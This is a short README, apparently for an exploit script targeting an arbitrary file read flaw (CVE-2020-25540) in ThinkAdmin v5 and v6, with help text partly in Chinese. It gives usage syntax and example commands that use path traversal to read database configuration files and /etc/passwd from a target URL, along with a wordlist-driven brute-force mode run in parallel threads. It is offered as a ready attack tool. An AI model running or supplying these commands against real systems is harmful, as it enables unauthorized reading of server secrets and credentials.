
ThinkAdmin v5 v6 Explotación de vulnerabilidad de lectura de archivos arbitraria, con diccionario personalizable para fuerza bruta
Este script se utiliza para explotar la vulnerabilidad de lectura arbitraria de archivos en ThinkAdmin v5 y v6.
==Las rutas de las interfaces pueden variar entre versiones (algunas basadas en forks del ThinkAdmin original)==
Uso básico
usage: cve-2020-25540.py [-h] -t TARGET [-f FILE] [-w WORDLIST] [-b BASE_PATH]
[-p PARALLEL]
通过 API 读取文件并获取响应
optional arguments:
-h, --help show this help message and exit
-t TARGET, --target TARGET
目标 IP 地址或域名
-f FILE, --file FILE 要读取的文件路径
-w WORDLIST, --wordlist WORDLIST
字典文件路径,提供多个文件路径或文件名
-b BASE_PATH, --base-path BASE_PATH
基础路径,用于拼接字典文件中的路径
-p PARALLEL, --parallel PARALLEL
并行线程数
python3 cve-2020-25540.py -t "https://xxx.xx" -f "config/database.php"
python3 cve-2020-25540.py -t "https://xxx.xx" -f "../../../etc/passwd"
python3 cve-2020-25540.py -t "https://xxx.xx" -b "../../../etc/" -w wordlist.txt -p 10